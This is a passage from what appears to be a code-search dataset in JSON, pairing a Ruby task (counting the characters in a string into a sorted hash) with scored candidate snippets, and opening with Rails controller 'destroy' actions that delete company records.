"8a24d6b2926575c3ccb2f9e957b4de8a", "score": "0.7132612", "text": "def destroy\n @hiring_company.destroy\n respond_to do |format|\n format.html { redirect_to hiring_companies_url, notice: 'Hiring company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6146dc9ffe5910fc3d1da44a5e016a08", "score": "0.71244603", "text": "def destroy\n @credit_company.destroy\n respond_to do |format|\n format.html { redirect_to credit_companies_url, notice: t('credit_company.destroyed') }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d920e8591b8d2b7a3057b8a7e1f6258f", "score": "0.71214586", "text": "def destroy\n @company.destroy\n redirect_to(companies_url)\n end", "title": "" }, { "docid": "45402face60c83fb743f1323bca41edb", "score": "0.7102203", "text": "def destroy\n @companium.destroy\n respond_to do |format|\n format.html { redirect_to compania_url, notice: 'Companium was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "aff837c475e5970bdaca282f260b1fe4", "score": "0.70950395", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n respond_to do |format|\n format.html { redirect_to companies_url }\n format.js\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "da50b3f3dca4ee031214a6801facb386", "score": "0.7089554", "text": "def destroy\n @company = Company.find(params[:id])\n @company.destroy\n\n flash[:success] = \"Company was successfully deleted.\"\n redirect_to crm_path\n end", "title": "" }, { "docid": "b8d295cee7c0121068b930d1a1e6b9d1", "score": "0.70892215", "text": "def destroy\n @production_company.destroy\n respond_to do |format|\n format.html { redirect_to production_companies_url, notice: 'Production company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "0d4a11afb6efaa6485eacbcb0ab9ce23", "score": "0.7082533", "text": "def destroy\n @company.destroy\n respond_to do |format|\n format.html { redirect_to companies_url, notice: 'Компания успешно удалена' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1d45d92eef311a8da47bca8667b0fb8d", "score": "0.7066234", "text": "def destroy\n company = @moot.company\n @moot.destroy\n respond_to do |format|\n format.html { redirect_to [company], notice: 'Moot was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "1012344575af401f2316df60016f2870", "score": "0.70575505", "text": "def destroy\n if @company.destroy()\n render json: { :message => \"Success!\" }\n else\n render json: { :message => \"La zona no pudo ser eliminada\" }\n end\n end", "title": "" }, { "docid": "b50efcbaa5ee4fe0ae7a927285483627", "score": "0.7050244", "text": "def destroy\n @events_company = EventsCompany.find(params[:id])\n @events_company.destroy\n\n respond_to do |format|\n format.html { redirect_to events_companies_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "ef42c639931c5df3fc18efae6a8a47b3", "score": "0.7046607", "text": "def destroy\n begin\n @company = Company.find(params[:id])\n if @company.destroy\n @@request_result[:success] = true\n @@request_result[:notice] = 'Operation ended successfully.'\n else\n @@request_result[:errormsg] = @company.errors.full_messages[0]\n end\n rescue Exception => e\n @@request_result[:errormsg] = e.message\n @@request_result[:errorcode] = e.code\n end\n render json: @@request_result\n end", "title": "" }, { "docid": "70f4a3eaf1a2ab0cc8228c90e47a61e2", "score": "0.70338", "text": "def destroy\n @listed_company.destroy\n respond_to do |format|\n format.html { redirect_to listed_companies_url, notice: 'Listed company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bd9350c26c6266f70735af9ba3febc3f", "score": "0.70259213", "text": "def destroy\n @company_vacancy.destroy\n respond_to do |format|\n format.html { redirect_to company_vacancies_url, notice: 'Company vacancy was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "235bf705070390dc4665d028d938e78b", "score": "0.7017648", "text": "def destroy\n @part_company = PartCompany.find(params[:id])\n @part_company.destroy\n\n respond_to do |format|\n format.html { redirect_to part_companies_url }\n format.json { head :ok }\n end\n end", "title": "" }, { "docid": "f28d8f80f8fae6a31525fb5bbcfcaa24", "score": "0.7014812", "text": "def destroy\n @company_name.destroy\n respond_to do |format|\n format.html { redirect_to company_names_url, notice: 'Company name was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "6c058a6de50e73b6d2affa74cce30888", "score": "0.7002122", "text": "def destroy\n @sp_company_info = SpCompanyInfo.find(params[:id])\n @sp_company_info.destroy\n\n respond_to do |format|\n format.html { redirect_to sp_company_infos_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "a520db7d1edeee36d8fe48e59e357d8f", "score": "0.69959646", "text": "def destroy\r\n @company = Company.find(params[:id])\r\n @company.destroy\r\n respond_to do |format|\r\n format.html { redirect_to(admincompany_manage_url) }\r\n format.xml { head :ok }\r\n end\r\n end", "title": "" }, { "docid": "1f28e3bb5d6aafb4af86bde64e6acf96", "score": "0.6992288", "text": "def destroy\n @companyreg.destroy\n respond_to do |format|\n format.html { redirect_to companyregs_url, notice: 'Companyreg was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "193ce690f60cbca743721064a073e724", "score": "0.6973788", "text": "def destroy\n @main_company.destroy\n respond_to do |format|\n format.html { redirect_to main_companies_url, notice: 'Main company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "2dbd208615de0e30f02cba33fcf4bb2a", "score": "0.6973306", "text": "def destroy\n @company_type.destroy\n\n head :no_content\n end", "title": "" }, { "docid": "db03b86a268315c9a3e6a7cd7d0ba1b5", "score": "0.69727534", "text": "def destroy\n @company_owner.destroy\n respond_to do |format|\n format.html { redirect_to company_owners_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9b1312f596e6eed39d30a5aa5d578fb6", "score": "0.6972245", "text": "def destroy\n @company_investor.destroy\n respond_to do |format|\n format.html { redirect_to company_investors_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "588ce80d3aec9ed28aae6d3e7de78c8f", "score": "0.69721526", "text": "def destroy\n @companycreation.destroy\n respond_to do |format|\n format.html { redirect_to companycreations_url, notice: 'Companycreation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "f0f754ac27651a9697c74779afa36265", "score": "0.6971994", "text": "def destroy\n\n respond_to do |format|\n if @invoced_company.destroy\n format.html { redirect_to invoced_companies_url}\n format.json { head :no_content }\n else\n format.html { redirect_to invoced_companies_url, :alert => t(:error_destroy_invoiced_company) }\n format.json { head :no_content }\n end\n end\n end", "title": "" }, { "docid": "91b619cbb064e7e84eb9db3139d6a0c8", "score": "0.6970926", "text": "def destroy\n @type_company.destroy\n respond_to do |format|\n format.html { redirect_to type_companies_url, notice: 'Type company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "9b7f7365a545a4add6c68d7f144e5635", "score": "0.69665563", "text": "def destroy\n @gas_company.destroy\n respond_to do |format|\n format.html { redirect_to admins_gas_companies_url, notice: 'Gas company was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "802a1bd5cc94987006887d51edef05f4", "score": "0.6947883", "text": "def destroy\n @news_company = NewsCompany.find(params[:id])\n @news_company.destroy\n\n respond_to do |format|\n format.html { redirect_to news_companies_url }\n format.json { head :ok }\n end\n end", "title": "" } ]
a5995a658b316c39c5ab7d0f9b2ec09a
Count all the occuring characters in a string. If the string is empty, then the result should be an empty hash. Assumption: Case matters Assumption: String will only contain letters. No special characters or numbers. Assumption: The resulting hash must be sorted by alphabetical order of the chars Data Structures input = string, output = hash Algorithm 1. Convert string to array 2. Declare empty hash call it counter 3. Iterate through array At each iteration, check if hash includes char as a key. if it does, increment its value by 1. if it doesn't, add the char to the hash and make its value 1. 4. Return sorted hash
[ { "docid": "cf0acdda2ccfb4ece179244260a21b20", "score": "0.7573997", "text": "def count_chars(str)\n arr_chars = str.chars \n counter = {}\n arr_chars.each do |char|\n if counter.keys.include?(char)\n counter[char] += 1\n else \n counter[char] = 1\n end\n end\n counter.sort.to_h\nend", "title": "" } ]
[ { "docid": "bbc36c975a2d50c2e4d7865eb190baab", "score": "0.7424273", "text": "def char_count_to_hash(str)\r\n counter = 0\r\n hsh = {}\r\n loop do\r\n break if counter == str.length\r\n current_char = str[counter]\r\n hsh.key?(current_char) ? hsh[current_char] += 1 : hsh[current_char] = 1\r\n counter += 1\r\n end\r\n hsh\r\nend", "title": "" }, { "docid": "f9a133a1923f1180039c33608c2dea52", "score": "0.7333583", "text": "def non_unique_letters(string)\n finalArray = []\n hash = Hash.new(0)\n array = string.split(\"\")\n array.each do |letter|\n hash[letter] += 1 if letter != \" \"\n end\n hash.keys.each do |key|\n if hash[key] > 1\n finalArray.push(key)\n end\n end\n return finalArray \nend", "title": "" }, { "docid": "3bd296c999224741299ab4b721dc9625", "score": "0.7296283", "text": "def frequent_letters(string)\n\tarry = string.split(\"\")\n \tfinal = []\n \thash = Hash.new(0)\n arry.each do |letter|\n letter.each_char { |i| hash[i] += 1}\n end\n hash.each do |k, v|\n if v > 2\n final << k\n end\n end\n return final\nend", "title": "" }, { "docid": "375998cb78f504f4b0111bd57e49e4bd", "score": "0.7279221", "text": "def string_hash(input_string)\n hash = []\n input_string.chars[1..-1].each do |c|\n difference = c.ord - input_string[0].ord > 0 ?\n c.ord - input_string[0].ord :\n c.ord - input_string[0].ord + 26\n hash.push(difference)\n end\n\n return hash\nend", "title": "" }, { "docid": "d71d31cab92d4ea9b5ba1902a1ab445e", "score": "0.7259892", "text": "def non_unique_letters(string)\n hash = Hash.new(0)\n string.split('').each do |char|\n hash[char] += 1 if char.between?('a','z')\n end\n ret =[]\n hash.each { |k,v| ret << k if v > 1 }\n ret\nend", "title": "" }, { "docid": "410147924ee873db691f9149934bc046", "score": "0.7215621", "text": "def letter_count(str)\n count_hsh = {}\n str.chars.sort.each do |char|\n count_hsh[char.to_sym] = str.chars.count(char) if !count_hsh.keys.include?(char.to_sym)\n end\n count_hsh\nend", "title": "" }, { "docid": "4af873835433b1d905bfe9a8162c3e26", "score": "0.72084916", "text": "def duplicates(str)\n\tletters={}\n count = 0\n str.each_char {|chara| letters.store(chara, str.count(chara))}\n letters.each {|k,v| count += (v-1) }\n return count\nend", "title": "" }, { "docid": "d39d189f4a4124592af24bafde3a0209", "score": "0.718819", "text": "def letter_count(str)\n\n\tarr = str.gsub(/ /, \"\").split(\"\")\n\thash = Hash.new{0}\n\tarr.each do |n| \n\t\thash[n] += 1\n\tend\n\thash\n\nend", "title": "" }, { "docid": "781f4cc1543b3ad6736a15887dc656d6", "score": "0.7187332", "text": "def ae_count(str)\n hash = Hash.new(0)\n\n str.each_char do |char|\n if char == \"a\" || char == \"e\"\n hash[char] += 1\n end\n end\n\n return hash.sort_by { |k, v| k}.to_h\nend", "title": "" }, { "docid": "cad329b711807a995c01dbf78d145efc", "score": "0.7169936", "text": "def letter_count(str)\n count_hash = Hash.new(0)\n # count_hash = {}\n str.each_char do |char|\n count_hash[char] += 1\n # if count_hash[char].nil?\n # count_hash[char] = 1\n # else\n # count_hash[char] += 1\n # end\n end\n return count_hash\nend", "title": "" }, { "docid": "77c2bd5b27fb492ec48e0c98c3a46eef", "score": "0.71494675", "text": "def hash_str(str)\n str_hash = Hash.new(0)\n str.split(\"\").each do |chr|\n str_hash[chr] += 1\n end\n str_hash\nend", "title": "" }, { "docid": "31b292a70b54766ea77dfe14fca6d615", "score": "0.71480405", "text": "def character_frequency(string)\n unsorted = convert_to_data_structure( create_string_hash(string) )\n\n unsorted.sort do |arr1, arr2|\n result = 0\n if arr1[1] > arr2[1]\n result = -1\n elsif arr1[1] < arr2[1]\n result = 1\n elsif arr1[0].ord < arr2[0].ord\n result = -1\n else\n result = 1\n end\n result\n end\nend", "title": "" }, { "docid": "daeb0268e888b71ed14e0dc61468a263", "score": "0.71430224", "text": "def count_char(s)\n hash = {}\n s.each_char do |char|\n hash.has_key?(char) ? hash[char] += 1 : hash[char] = 0\n end\n hash\nend", "title": "" }, { "docid": "0d74bc650ce2704672bfd511c723cb5f", "score": "0.71319115", "text": "def non_unique_letters(string)\n str = string.chars\n h = Hash.new(0)\n str.reject! { |o| o == ' '}\n str.each do |l|\n h[l] += 1\n end\n arr = Array.new\n h.each do |k, e|\n arr << k if e > 1\n end\n arr\nend", "title": "" }, { "docid": "7df4a52c31690bd01209b7b771c1ea4e", "score": "0.7120178", "text": "def frequent_letters(string)\n count = []\n freq = Hash.new(0)\n string.each_char { |char| freq[char] += 1 }\n\n freq.each do |k, v|\n count << k if v > 2\n end\n count\nend", "title": "" }, { "docid": "4b8d833bae04bed509ea61f8e909bfe2", "score": "0.7117187", "text": "def repeated_chars(word)\n hasher = Hash.new(0)\n arr = []\n count = 0\n if arr.empty?\n arr\n end\n word.each_char do |letters|\n if word.include?(letters)\n hasher[letters]+=1\n arr << letters\n end\n end\n p arr.any? { |i| \n arr.uniq!\n }\n p hasher\nend", "title": "" }, { "docid": "18bba6ecd17e5a9f3c4f769869223f1c", "score": "0.7105974", "text": "def letter_count(str)\n arr = str.split('')\n my_hash = Hash.new(0)\n\n arr.each do |char|\n my_hash[char] += 1\n end\n return my_hash\nend", "title": "" }, { "docid": "48f744d1398c44272e9155b37607c0df", "score": "0.70997536", "text": "def frequent_letters(string)\n count = Hash.new(0)\n\n new_array = []\n string.each_char do |char|\n count[char] += 1\n end\n count.each do |char,num|\n if num > 2\n new_array << char\n end\n end\n new_array\nend", "title": "" }, { "docid": "ade2fa293849c93241517711a64a18c9", "score": "0.7088829", "text": "def letter(str)\n\tcounts={}\n\tstr.each_char do |char| # we loop through all the characters in the string... we will refer to each character as char\n\tnext if char == \" \"\t\t # we skip blank characters (we go and process the next character)\n\t# count for that character to zero \t\t\n\tcounts[char] = 0 unless counts.include?(char)# if there is no hash entry for the current character we initialis the \n counts[char] += 1 # we increase the count for the current character by 1\n end # we end the each_char loop\n\t counts #print a frequency of all char in a string\nend", "title": "" }, { "docid": "3bc149c2e3424dcf95189d9a646585bd", "score": "0.70823956", "text": "def character_frequency str\n hash_var = Hash.new(0)\n str.split(\"\").map{ |ele| hash_var[ele] += 1 }\n return hash_var\nend", "title": "" }, { "docid": "33d47564dbbb150399880e5ea65c33a6", "score": "0.70738995", "text": "def frequent_letters(str)\n hash = Hash.new(0)\n res_arr = []\n str.each_char{|char| hash[char] += 1}\n hash.each{|k, v| res_arr << k if v > 2}\n res_arr\nend", "title": "" }, { "docid": "4383d38e88c0eeef401c148d9873a1a6", "score": "0.7071725", "text": "def letter_count(str)\n count_hash = Hash.new(0)\n str.each_char do |char|\n count_hash[char] += 1\n end\n return count_hash\nend", "title": "" }, { "docid": "4383d38e88c0eeef401c148d9873a1a6", "score": "0.7071725", "text": "def letter_count(str)\n count_hash = Hash.new(0)\n str.each_char do |char|\n count_hash[char] += 1\n end\n return count_hash\nend", "title": "" }, { "docid": "48e48a88792c97c9198b12b1e62615f4", "score": "0.70614314", "text": "def non_unique_letters(string)\n letter_counts = string.split.reduce(Hash.new(0)) do |counts, word|\n word.each_char { |ch| counts[ch] += 1 }\n counts\n end\n\n letter_counts.select { |ch, count| count > 1 }.keys\nend", "title": "" }, { "docid": "24304860d7cc06fa5f0ea2be4dcca315", "score": "0.7049738", "text": "def letter_count string\n frequency = {}\n i = 0\n while i < string.length do\n if !frequency[string[i]]\n frequency[string[i]] = 1\n else\n frequency[string[i]] += 1\n end\n i += 1\n end\n frequency\nend", "title": "" }, { "docid": "9169d172768803489678a76a3030415b", "score": "0.70469683", "text": "def ae_count(str)\n count = Hash.new(0)\n\n str.each_char do |char|\n count[\"a\"] += 1 if char == \"a\"\n count[\"e\"] += 1 if char == \"e\"\n end\n\n sorted = count.sort_by { |k| k }\n \n return sorted.to_h\nend", "title": "" }, { "docid": "c109745169ccaeed113d1df13cffd5bd", "score": "0.70385253", "text": "def countChars(str)\r\n h = Hash.new\r\n str.split(\"\").each {|c| h[c] = str.count(c) if not h.has_key?(c)}\r\n return h\r\n end", "title": "" }, { "docid": "99ab66b1a06d3dda1332b74aeb3d9cb2", "score": "0.7030114", "text": "def LetterCount(str)\n \n arr = str.split(\" \")\n rLetters = {}\n arr.each do |x|\n charArr = x.chars.to_a\n rChars = {}\n charArr.each_index do |y|\n if(rChars[charArr[y]] == nil)\n count = 1\n (y + 1 .. charArr.length - 1).each do |z|\n if(charArr[y] == charArr[z])\n count += 1\n end\n end\n rChars[charArr[y]] = count\n end\n end\n count = 0 \n rChars.each do |key, value|\n if(value > count)\n count = value\n rLetters[x] = count \n end\n end \n end\n \n str = \"\"\n count = 0\n arr.each do |x|\n if(rLetters[x].to_i > count)\n str = x\n count = rLetters[x].to_i\n end\n end\n \n if(count == 1)\n return -1\n end\n \n return str \n \nend", "title": "" }, { "docid": "277847a90c9f06d847f69e89a176958a", "score": "0.7025589", "text": "def missing_letters(string)\n finalArray = []\n hash = Hash.new(0)\n alphabet = (\"a\"..\"z\").to_a\n alphabet.each do |key|\n hash[key] = 0\n end\n arrayWord = string.split(\"\")\n arrayWord.each do |letter|\n if letter != \" \"\n hash[letter] += 1\n end\n end \n hash.keys.each do |key|\n if hash[key] == 0\n finalArray.push(key)\n end\n end\n return finalArray\nend", "title": "" }, { "docid": "66ef7992823ee00c326e72f2e71bb0a9", "score": "0.70206714", "text": "def frequent_letters(string)\n count_hash = Hash.new(0)\n multiples_arr = []\n\n string.each_char do |char| # counts occurences of each char\n count_hash[char] += 1\n end\n\n # return count_hash\n\n count_hash.each do |key, value|\n if value > 2\n multiples_arr << key\n end\n end\n\n return multiples_arr\nend", "title": "" }, { "docid": "f45bac5722fdd1698fc119374176094d", "score": "0.7008905", "text": "def non_unique_letters(string)\n arr = []\n hash = Hash.new(0)\n string.each_char do |ch|\n hash[ch] += 1 \n end\n hash.each do |key, value|\n if key != \" \"\n if value >= 2\n arr << key\n end\n end\n end\n \n return arr\nend", "title": "" }, { "docid": "1950fbdab1942878a077f269ddac5525", "score": "0.6999364", "text": "def character_count(str)\n\thash = {}\n\tstr.downcase.split(\"\").each { |ch|\n\t\t\thash[ch] ? hash[ch] += 1 : hash[ch] = 1\n\t}\n\thash\nend", "title": "" }, { "docid": "cb392a7db3e58db390669b465b197224", "score": "0.6994011", "text": "def num_repeats(string)\n count = 0 #overall count, will return later\n stringHash = Hash.new # create new hash\n\n string.chars.each do |i| # loop through each letter in string\n stringHash[i] = string.count(i) # create a key in the hash and set the value to the to the number of occurrences of the given key\n end\n stringHash.each do |k,v| #loop through the hash\n if v > 1 # if the vale is greater than 1\n count += 1 # add 1 to the overall count\n end\n end\n return count # return overall count\nend", "title": "" }, { "docid": "87105a50227d4fe47affb6f675b5c973", "score": "0.69859785", "text": "def letter_count(str)\n arr = Hash.new(0)\n index = 0\n while index < str.length\n arr[str[index]] = arr[str[index]] + 1\n index = index + 1\n end\n return arr\nend", "title": "" }, { "docid": "158b592bc50df427eda0bd99c81071f6", "score": "0.6985685", "text": "def non_unique_letters(string)\n\tsplitted_string = string.delete(\" \").split(\"\")\n\n\tcount = Hash.new 0\n\tnew_arr = []\n\n\tsplitted_string.each { |letter| count[letter] += 1 }\n\tcount.each { |k,v| new_arr << k if v > 1 }\n new_arr\n\nend", "title": "" }, { "docid": "6b521bc0a9b84dfcbe68e95370d4fb81", "score": "0.69822156", "text": "def get_unique_chars str\n res = {}\n str.chars.each{|c|\n res[c] = 0\n }\n res.keys\nend", "title": "" }, { "docid": "6e2f449ca4403735844a6b6702aa72e4", "score": "0.69806397", "text": "def solve(string)\n hash = {}\n result = 0\n\n string.chars.each do |char|\n hash[char] = 0\n end\n\n string.chars.each do |char|\n hash[char] += 1\n end\n\n hash.key(1)\nend", "title": "" }, { "docid": "a7fbd8cc360408c371ca934da44f8cd2", "score": "0.69756055", "text": "def letter_counter input\n\thash = {}\n\tinput.chars.each_with_index { |c,i| hash[c] = input.count(input[i]) }\n\thash\nend", "title": "" }, { "docid": "4a6a9097d0ff493855cca77d237b2d62", "score": "0.69717824", "text": "def frequent_letters(string)\n count_hash = Hash.new(0)\n frequent_arr = []\n string.each_char do |char|\n count_hash[char] += 1\n end\n count_hash.each_pair do |key, value|\n if value > 2\n frequent_arr << key\n end\n end\n return frequent_arr\nend", "title": "" }, { "docid": "9db99f78460747f2551b9b75d0923b06", "score": "0.69675326", "text": "def frequent_letters(string)\n arr = []\n\n count = Hash.new(0)\n string.each_char { | char | count[char] += 1 }\n\n count.each do | k, v |\n if v > 2\n arr << k\n end\n end\n\n return arr\nend", "title": "" }, { "docid": "29817ea216e19f343ed76ebf0ae57731", "score": "0.6963813", "text": "def frequent_letters(string)\r\n letters = Hash.new(0)\r\n string.each_char {|char| letters[char] += 1}\r\n frequentLetters = []\r\n letters.each {|key, val| if val > 2 then frequentLetters << key end}\r\n return frequentLetters\r\nend", "title": "" }, { "docid": "cabb0116758818e7950b7419ade95ebe", "score": "0.696314", "text": "def frequent_letters(string)\n count_hash = Hash.new(0)\n string.each_char do |char|\n count_hash[char] += 1\n end\n # Now we have a hash with all the letters and how many times they showed up.\n alpha = (\"a\"..\"z\")\n frequent_arr = []\n count_hash.each_pair do |key, val|\n if val > 2 && alpha.include?(key.downcase)\n frequent_arr << key\n end\n end\n return frequent_arr\nend", "title": "" }, { "docid": "328b1d8b0d0b7f28ce07b18c168edd19", "score": "0.6958645", "text": "def method_4(string)\n\tarray = string.scan(/\\w+/)\n\thasher = Hash.new(0)\n\tarray.each do |key|\n\t\thasher[key] += 1\n\tend\n\tputs hasher\nend", "title": "" }, { "docid": "2b7588f067dd82742fae3d06b513306e", "score": "0.69541776", "text": "def compress(chars)\n return 1 if chars.length == 1\n hash = Hash.new(0)\n chars.each do |char|\n if char == char\n hash[char] += 1\n end\n end\n ans = hash.map{|k, v| [k, v.to_s]}.flatten\n ans \n # ans.length\nend", "title": "" }, { "docid": "7c5087ff623ea66da2b3c3340cf68d76", "score": "0.694798", "text": "def letter_count(str)\n count = Hash.new(0) # Make a hash of for letters and frequencies\n str.split.join.chars.each do |x| # .split.join is just my quick way to remove spaces. See below for more info\n count[x] += 1 # For every character, make a key for the character\n end # and set it to its frequency \n count # Return the hash \nend", "title": "" }, { "docid": "55aec127677b8b589a80833296027552", "score": "0.6941025", "text": "def frequent_letters(str)\n count = Hash.new(0)\n frequent = []\n str.each_char do |char|\n count[char] += 1\n end\n\n count.each do |key, val|\n if val > 2\n frequent.push(key)\n end\n end\n return frequent\nend", "title": "" }, { "docid": "652a398a7c779c2b5ac19ef2b8fb2175", "score": "0.6935578", "text": "def making_string_into_hash(string)\n empty_hash = {}\n string.each_char do |char|\n # .each_char work for string...(to iterater over a string, .each will work on hash and array)\n if empty_hash[char] # {'l' => 1}\n empty_hash[char] += 1 # {'l' => 2}\n else\n empty_hash[char] = 1\n end\n end\n return empty_hash\nend", "title": "" }, { "docid": "ef9a6e842eea9b59fc0cfa32aa7350a8", "score": "0.69304657", "text": "def letter_count(str)\n count = Hash.new(0)\n str.chars.each do |ele|\n count[ele] += 1\n end\n count.each_with_object({}) { |(k, v), ele| ele[k.to_sym] = v; }\nend", "title": "" }, { "docid": "52d146bfba0259c10d9d34f1d9b3aa14", "score": "0.69272083", "text": "def frequent_letters(string)\n arr = []\n counter = Hash.new(0)\n string.each_char do |char|\n counter[char] += 1\n end\n counter.each do |key, value|\n if value > 2\n arr << key\n end\n end\n return arr\nend", "title": "" }, { "docid": "065c2f50e406bca4eb40f8a9eb2c81ca", "score": "0.6912421", "text": "def letter_counts(word)\n hashed = {}\n word.each_char do |el|\n count = word.count el\n hashed[el] = count\n end \n hashed\nend", "title": "" }, { "docid": "6e3c437e5b4f5b2742484c9292f92665", "score": "0.6911713", "text": "def charCount(str)\n counter = Hash.new\n str.split('').each do |c|\n if (c>='a' and c<='z') or \\\n (c>='A' and c<='Z') or \\\n (c>='0' and c<='9')\n if !counter[c]\n counter[c] = 1\n else\n counter[c]+=1\n end\n end\n end\n return counter\n end", "title": "" }, { "docid": "ad5d169552f79e01f991db26e3a1fe41", "score": "0.69089496", "text": "def letter_count string\n frequency = {}\n string.each_char do |char|\n if frequency[char]\n frequency[char] += 1\n else frequency[char] = 1\n end\n end\n frequency\nend", "title": "" }, { "docid": "d8492cbf8ae1cc920ece686648b62df3", "score": "0.69005597", "text": "def find_first_non_repeated_letter(str)\n\tx = str.split(//) #start by splitting up the characters into single-letter substrings\n\th = Hash.new(0) #here I'm going to create a hash that matches the key (the letters) and the value (number of times that letter appears)\n\tx.each{ |i| h[i] += 1 } #this each loop will populate the hash by increasing the value of each key when it occurs in the array\n\treturn h.key(1) #this will return the first key for which the value is '1'\nend", "title": "" }, { "docid": "0057056890c9b3a87e68bf5c97e348a8", "score": "0.6897167", "text": "def count_letters(string)\n letter_frequency = Hash.new(0)\n arr = string.split(\"\")\n arr.reject! {|letter| letter == \" \"}\n arr.each { |letter| letter_frequency[letter] += 1 }\n letter_frequency\nend", "title": "" }, { "docid": "7719363d95745e556a0f00ef5243e989", "score": "0.6895506", "text": "def character_count(str)\n\n character = str.downcase.split(\"\")\n counts = Hash.new(0)\n character.each { |letter| counts[letter] += 1 }\n counts\n\nend", "title": "" }, { "docid": "297390ba05d92faf4186ef9481231099", "score": "0.6880966", "text": "def frequent_letters(string)\n counter = Hash.new(0)\n arr=[]\n string.each_char { |char| counter[char] += 1 }\n\n s = counter.sort_by { |k,v| v }\n s.each do |el|\n if el[1] > 2\n arr << el[0]\n end\n end\n return arr\nend", "title": "" }, { "docid": "46e1ec94a80536f613ec5e371c8089dc", "score": "0.6861771", "text": "def frequency_sort(s)\n char_hash = {}\n\n s.each_char do |char|\n if char_hash[char]\n char_hash[char] += 1\n else\n char_hash[char] = 1\n end\n end\n\n result = ''\n char_hash.sort_by { |k, v| -v }.each do |char, char_count|\n char_count.times do\n result << char\n end\n end\n\n result\nend", "title": "" }, { "docid": "89b5bd3645d44864953c8642233baf59", "score": "0.6856815", "text": "def char_counts(chars)\n chars.each_with_object(Hash.new(0)) { |c, memo| memo[c] += 1 }\nend", "title": "" }, { "docid": "5c2898c27473bd0567dcab82077f739d", "score": "0.68566984", "text": "def get_letter_freq(str)\n freq = Hash.new(0)\n str.chars.each{|ch| freq[ch] += 1}\n freq\nend", "title": "" }, { "docid": "d73447bc56d25da4e9287c1afb6e041b", "score": "0.6854249", "text": "def _calculate_hash\n seen_letters = {}\n\n total = 1\n # we are going to abuse ruby's Bignum here\n # - this is potentially around 100 ^ (2x 26) = 10^104\n # - 100 because thw 26th prime is 101, so its square is around 10^4\n # - if you had 2 of every letter in the alphabet, this has is around 10^104\n # - 64 bit architectures represent up to (2^64)-1 which is under 10^20\n\n # Things we could do here, at the linear O(n) pass\n # - calculate whether this has a duplicate here, but we want to do this with math instead!\n @text.split('').each do |letter|\n if seen_letters.key?(letter)\n seen_letters[letter] += 1\n else\n seen_letters[letter] = 1\n end\n\n # only count up to 2, because we are looking for \"duplicates\"\n total *= ModularSubstring::Utils.instance.letter_key(letter) if seen_letters[letter] < 3\n end\n\n total\n end", "title": "" }, { "docid": "2a41149df92bff82b69445550755eb65", "score": "0.6852066", "text": "def letter_count(str)\n ans = {}\n i = 0\n while i < str.length do\n if ans[str[i]] == nil\n ans[str[i]] = 1\n else\n ans[str[i]] += 1\n end\n i += 1\n end\n ans\nend", "title": "" }, { "docid": "fb7e48e30b694538d2364768a4501b09", "score": "0.6850938", "text": "def hashWord(word)\n word = word.downcase\n h = Array.new(26, 0)\n \n word.each_byte do |char|\n h[char.ord - 'a'.ord] += 1\n end\n return h\nend", "title": "" }, { "docid": "ea4e8bf0a7cbfd99cac18d2ed75dc580", "score": "0.6845987", "text": "def ordered_count(str)\n lts = str.chars.uniq\n lts.collect {|letter| [letter, str.count(letter)]}\nend", "title": "" }, { "docid": "7752d3c9109d4596053288192a019ce3", "score": "0.684128", "text": "def frequencies(string)\n result = Hash.new { |h, k| h[k] = 0 }\n string.chars.each { |char| result[char] += 1 }\n result\nend", "title": "" }, { "docid": "0604f2fb91be795d0b23a62c80a7f073", "score": "0.6837983", "text": "def word_to_letter_with_count_hash(strings)\n letters_hash = Hash.new(0)\n strings.chars.each { |letter| letters_hash[letter] += 1 }\n letters_hash\nend", "title": "" }, { "docid": "adcecaa845ba24e37b20aaedb08e63b9", "score": "0.68349695", "text": "def letter_count(str)\n # count_hash = Hash.new(0)\n # str.each_char do |char|\n # count_hash[char.downcase] += 1\n # end\n # return count_hash\n\n count_hash = {}\n str.each_char do |char|\n if count_hash[char]\n count_hash[char.downcase] += 1\n else\n count_hash[char.downcase] = 1\n end\n end\n return count_hash\nend", "title": "" }, { "docid": "6903c1cc1f156b2d88ca8fa79e4613a3", "score": "0.68326396", "text": "def duplicate_count(str)\n result = Hash.new(0)\n\n str.each_char do |char|\n result[char.downcase] += 1\n end\n\n result.values.count { |char| char > 1 }\nend", "title": "" }, { "docid": "ff39dddbaeb8981c2df71379d8e1390e", "score": "0.6830714", "text": "def character_frequency(string)\n character_hash = {}\n string.chars.each do |character|\n character_hash[character] ? character_hash[character] += 1 : character_hash[character] = 1 if character != \" \"\n end\n character_hash\nend", "title": "" }, { "docid": "b60f0d87a573f0aa9d3bb13e939fe2b6", "score": "0.6827886", "text": "def get_answer_count(inp_str)\n\t\n\n\ta = inp_str.split(\"\\n\")\n\tif ( a.length > 1 ) then\n\t\t# Join the array into a single string.\n\t\t# Split the string into individual chars.\n\t\t# Group the characters into hashes containing the character as an index and an array of \n\t\t#\tthe repeating chars as a value.\n\t\t# Select only the the hashes that have arrays larger than one element (multiple occurances)\n\t\t# Map() ensures the return value (to the length check) is an array of chars that repeat.\n\t\t# Check to see if all of the strings include these characters.\t\n\t\th = a.join.chars.group_by() { | e | e }.select() { | k, v | v.size > 1 }.map(&:first).sort\n\t\t\n\t\t# For each string, remove 